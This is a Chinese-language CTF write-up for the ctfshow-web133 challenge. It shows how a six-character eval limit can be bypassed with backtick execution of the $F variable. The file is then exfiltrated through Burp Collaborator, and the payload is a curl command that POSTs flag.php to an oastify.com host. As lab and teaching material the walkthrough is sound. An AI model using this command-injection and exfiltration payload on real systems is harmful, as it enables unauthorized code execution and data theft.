当前位置: 首页 > news >正文

ctfshow-web133

PS:萌新ctfer的解题过程,如有错误之处恳请师傅们指正

(做这道题时需要配备BurpSuite专业版,可自行查阅相关资料进行配置,这里我找了两个链接1、链接2)

一:前置知识

做这道题时我们需要用到BurpSuite专业版里的Collaborator模块,这是 Burp Suite 中用于检测带外交互漏洞【OBB】(参考)的核心工具,主要通过生成唯一的外部交互地址,捕捉目标服务器与外部系统的交互行为,从而验证那些无直接回显的漏洞,是渗透测试和 CTF 中检测盲漏洞的关键工具。

核心功能与作用原理

Collaborator 的核心是搭建外部交互桥梁:它会生成一个唯一的二级域名(如xxxx.burpcollaborator.net),我们将这个地址插入到测试的 Payload 中发送给目标服务器。如果目标服务器存在漏洞并执行了 Payload,就会主动访问这个外部域名,Collaborator Client 会捕获到这次交互并记录详细信息,以此证明漏洞存在。

二:具体题目

1.初步判断

打开靶场,有一下php代码:

error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ //GET方式传入F if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ //这里要绕过正则匹配 eval(substr($F,0,6)); //从0开始截断F的字符到6位置,就是F只读取前六个字符 }else{ die("6个字母都还不够呀?!"); } }

这里我们发现一个问题:F只能传入六个字符,那么我们构造不出什么命令可以让之后的eval执行,我没见过这种题,所以网上找了别的师傅的WP用的是$F【相当于F本身】:

  1. 反引号 ``:在 PHP 中,反引号包裹的内容会被当作系统命令执行,等价于shell_exec()函数(而shell_exec没有被过滤,这是绕过的关键)。
  2. $F变量:这里的$F是 GET 传入的整个F参数的内容,PHP 会先解析变量$F,再执行反引号中的命令。
  3. 分号;:是 PHP 的语句结束符,确保前 6 个字符构成完整的 PHP 语句

因此,我们的payload格式应该是这样的:

?F=`$F`; XXXXXXXXXXXXXXXXXXXXX

2.具体构造

这里就要用到我们之前讲的Collaborator了,我们打开BurpSuite的Collaborator模块,可以看到是这样的:

这里的payloads to generate 就是生成我们的Collaborator 带外交互平台的临时域名数量,这里我们选择一个就好,然后我们点击copy to clipboard【这里点了之后就是直接复制到剪贴版了,刚用的时候英文不太好不知道啥意思,以为是在下面显示所以按了好久没按出来】

下面是我复制的临时域名:ffywo4qho06y82ab885yvruocfi76zuo.oastify.com

这里先给出我们的payload再一一解释:

?F=`$F`;+curl -X POST -F xx=@flag.php http://ffywo4qho06y82ab885yvruocfi76zuo.oastify.com

1)总体结构

首先,这里最开始的?F=`$F`;就是我们上传的F参数,后面的所有都是F里面的内容

2)curl 命令

curl是一个命令行工具/库,用来向服务器发送或接收数据,支持多种协议(HTTP、HTTPS、FTP、SFTP 等)。

这个curl命令是将本地的 flag.php 文件上传到外部的oastify.com协作服务器(也就是我们之前的 Burp Collaborator 类似的带外交互平台),从而实现 flag 的外带:

  • -X POST:使用 POST 请求方式。
  • -F xx=@flag.php:构造表单上传,把本地的flag.php文件作为xx字段的值上传到目标地址。

(有时候ai回答一些基本的问题还是很可以的,用好了也是一大助力。这里的xx表单字段是自定义的,可以换成别的如file data等等)

  • ffywo4qho06y82ab885yvruocfi76zuo.oastify.com:是 oastify 的临时域名,用于接收上传的文件内容,我们可以在 oastify 的后台查看这个请求,从而获取flag.php的内容。

3.flag获取

我们直接将这个payload写在url里面回车上传,然后再回到BP查看【我喜欢点一下Poll now】

找到HTTP,发现flag:

三:结语

我们可以再回顾一下总体流程加深一下印象:

  1. 生成Collaborator域名 在Burp Suite专业版中打开Collaborator模块,生成临时域名用于接收数据。

  2. 构造完整Payload 将curl命令拼接到基础Payload

  3. 发送请求 将构造好的URL提交到目标服务器。

  4. 查看回传数据 在Collaborator界面点击"Poll now",查看HTTP请求中携带的flag.php文件内容。

还有相应的注意事项:

  • 确保Burp Suite Collaborator配置正确,能接收外部请求
  • curl命令中的临时域名需替换为实际生成的Collaborator域名
  • 表单字段名称可自定义,但需保持前后一致
  • 目标环境需允许出站连接

通过这种方法可以突破长度限制,实现命令执行并获取flag内容。

写在最后:

这道题我也是第一次用到Collaborator模块,又学到了一个新知识【ヽ(✿゚▽゚)ノ】其实在最开始描述带外交互漏洞后面的参考链接里有提到诸如SSRF、XXE都用到了这种方法。而常用的工具有:

大菜鸡师傅录制的视频就是用的DNSlog,但我觉得BP的Collaborator功能更强大一点,算是各有所好吧。

http://www.cnnetsun.cn/news/70815.html

相关文章:

  • 游戏串流实战手册:从零搭建高效串流系统
  • 小米运动步数自动同步:2025年免费刷步数完整教程
  • 原神帧率解锁神器:突破60帧限制的终极解决方案
  • STL——set
  • [CTF]攻防世界:fakebook (sql注入)
  • Zepp Life自动刷步终极指南:3分钟搞定微信支付宝同步
  • FLUX.1-dev与Docker镜像优化:最小化容器体积提升加载速度
  • Applite:Mac软件管理终极指南,告别命令行烦恼
  • Ollama下载GPT-OSS-20B并实现本地化AI服务的完整教程
  • SkyWalking 与 Zipkin、Prometheus 深度对比分析
  • 全面升级!yudao-cloud v2.4.2重磅发布:AI大模型与工作流引擎双引擎驱动业务创新
  • gpt-oss-20b结合Dify部署实现可视化AI工作流
  • AI自动修复CHLSProxy SSL证书错误:开发者新利器
  • 77777
  • 大麦抢票终极指南:DamaiHelper全自动解决方案
  • 大学计算机
  • 一口气解释清楚转换流存在的原因
  • 从卧床不起到健步如飞 退休老阿姨用机器人治腰突的亲身体验!
  • Java毕设项目:基于springboot新能源汽车销售管理系统基于Java Web的新能源汽车信息咨询服务(源码+文档,讲解、调试运行,定制等)
  • Java毕设项目:基于springboot高校体育运动会比赛系统(源码+文档,讲解、调试运行,定制等)
  • uos server 1070e在线软件仓库源整理记录
  • 谷歌镜像站同步更新:Qwen-Image全球加速访问
  • 使用Docker Compose快速部署FLUX.1-dev镜像的5个步骤
  • 腾讯混元HunyuanVideo-Foley模型上线GitHub,开启音画同步新纪元
  • npm publish发布基于Qwen-Image的封装库到公共仓库
  • 冥想第一千七百三十二天(1732)
  • 冥想第一千七百三十三天(1733)
  • Qwen3-8B vs 其他8B模型:开源大模型性能对比实测
  • java计算机毕业设计生活用品供应管理系统的设计与实现 基于SpringBoot的社区日用品采购平台的设计与实现 面向校园的日用杂货线上供应系统的设计与实现
  • 干货!大数据数据增强的实际应用技巧